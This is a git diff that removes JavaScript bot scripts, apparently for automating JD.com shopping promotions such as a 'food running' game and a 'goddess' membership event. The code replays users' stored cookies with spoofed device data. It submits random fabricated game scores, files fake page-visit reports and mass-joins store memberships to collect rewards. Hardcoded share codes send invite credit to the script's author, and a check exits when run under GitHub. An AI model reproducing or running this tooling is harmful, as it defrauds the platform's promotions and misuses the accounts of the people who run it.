takePostRequest('complete/mission'); - await $.wait(5000); - } - } - } - }else { - console.log(`任务:${$.oneTaskInfo.missionName},不执行`); - } - // else if(addCarFlag && $.oneTaskInfo.id === '4'){ - // - // $.hotGoodsList = []; - // await takePostRequest('HotGoodsList'); - // } - } -} - -async function takePostRequest(type){ - let url = ''; - let body = ``; - switch (type) { - case 'setMixNick': - case 'DailyTask': - case 'ViewShop': - case 'ViewBanner': - case 'ViewGoods': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"source":"01","strTMMixNick":$.token,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'complete/mission': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"goodsNumId":$.runId,"missionType":$.oneTaskInfo.type,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'HotGoodsList': - case 'SendCoinNum': - case 'ThreeBoxStatus': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'dotree': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"which":$.treeNumber,"missionType":"treeCoin","method": "/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'foodRunningStats': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"missionType":$.missionType,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'SendCoin': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"coin":randomNum(5000,6000),"point":randomNum(10000,15000),"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; - break; - case 'OpenBox': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"awardId":$.oneBoxInfo.id,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; - break; - case 'help': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"inviterNick":$.oneCodeInfo.code,"missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; - break; - case 'MyInviteList': - url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; - body = {"pageNo":1,"pageSize":5,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url,body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function randomNum(minNum,maxNum){ - switch(arguments.length){ - case 1: - return parseInt(Math.random()*minNum+1,10); - break; - case 2: - return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10); - break; - default: - return 0; - break; - } -} - -function dealReturn(type, data) { - data = JSON.parse(data); - switch (type) { - case 'setMixNick': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.thisNick = data.data.data.msg; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'DailyTask': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.taskList = data.data.data; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'ViewShop': - case 'ViewBanner': - case 'ViewGoods': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.runId = data.data.data.id; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'complete/mission': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - console.log(`任务完成`); - }else{ - console.log(JSON.stringify(data)); - } - case 'SendCoinNum': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.sendCoinInfo = data.data.data - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'HotGoodsList': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.hotGoodsList = data.data.data; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'dotree': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - console.log(`任务完成,获得${data.data.data.sendNum}`); - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'foodRunningStats': - //if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - //}else{ - console.log(JSON.stringify(data)); - //} - break; - case 'SendCoin': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - console.log(`游戏完成`); - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'ThreeBoxStatus': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.boxStatusList = data.data.data; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'OpenBox': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - console.log(`打开宝箱获得:${data.data.data.msg}`); - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'MyInviteList': - if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ - $.myInviteList = data.data.data; - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'help': - console.log(JSON.stringify(data)) - if(data.success && data.errorCode === '200'){ - if(data.data.data.remark === `好友助力数量已达上限,无法为好友助力!`){ - $.oneCodeInfo.max = true; - }else if(data.data.data.remark === `已经助力,不能再次助力哦!`){ - //$.oneCodeInfo.max = true; - }else{ - $.canHelp = false; - } - console.log(`${data.data.data.remark}`) - }else if(data.errorCode === '500') { - console.log(data.errorMessage) - } - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getPostRequest(url,body) { - let signInfo = getSign(body); - body = `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"${$.appkey}","m":"POST","sign":"${signInfo.sign}","timestamp":${signInfo.timeStamp},"userId":"10299171"},"admJson":${JSON.stringify(body)}}}`; - const headers = { - 'X-Requested-With' : `XMLHttpRequest`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Content-Type' : `application/json; charset=utf-8`, - 'Origin' : `https://jinggengjcq-isv.isvjcloud.com`, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Cookie": $.cookie, - 'Host' : `jinggengjcq-isv.isvjcloud.com`, - 'Referer' : `https://jinggengjcq-isv.isvjcloud.com/paoku/index.html`, - 'Accept-Language' : `zh-cn`, - 'Accept' : `application/json` - }; - - return {url: url, method: `POST`, headers: headers, body: body}; -} - - -async function getToken() { - return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, - body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, - headers: { - "Host": "api.m.jd.com", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Cookie": $.cookie, - } - } - $.post(options, async (err, resp, data) => { - try { - const reust = JSON.parse(data); - if(reust.errcode === 0){ - $.token = reust.token; - }else { - $.log(data) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getSign(t) { - var e = Date.now() - , i = '0282266f9a794112a0ab4ab6c78f8a09' - , o = $.appkey - , s = JSON.stringify(t) - , c = encodeURIComponent(s) - , r = new RegExp("'","g") - , d = new RegExp("~","g"); - c = (c = c.replace(r, "%27")).replace(d, "%7E"); - var h = i + "admjson" + c + "appkey" + o + "m" + t.method + "timestamp" + e + i; - return {sign: $.CryptoJS.MD5(h.toLowerCase()), timeStamp: e} -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_goddess.js b/backUp/jd_goddess.js deleted file mode 100644 index b6f2383..0000000 --- a/backUp/jd_goddess.js +++ /dev/null @@ -1,554 +0,0 @@ -/* -女神狂欢 大牌盛典 -9-22 ~ 9-30 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=fids98g8f798sd787f7gf0g9d8sd9f8s -*/ -const $ = new Env("女神狂欢 大牌盛典"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - 'eb1bf557cb804b8f939dd48e80e7b718', - 'eb20e503cce0401988fca094a9df1166', - - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'fids98g8f798sd787f7gf0g9d8sd9f8s' - $.activityShopId = '1000193685' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await marry(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function marry() { - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000193685&pageId=fids98g8f798sd787f7gf0g9d8sd9f8s&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 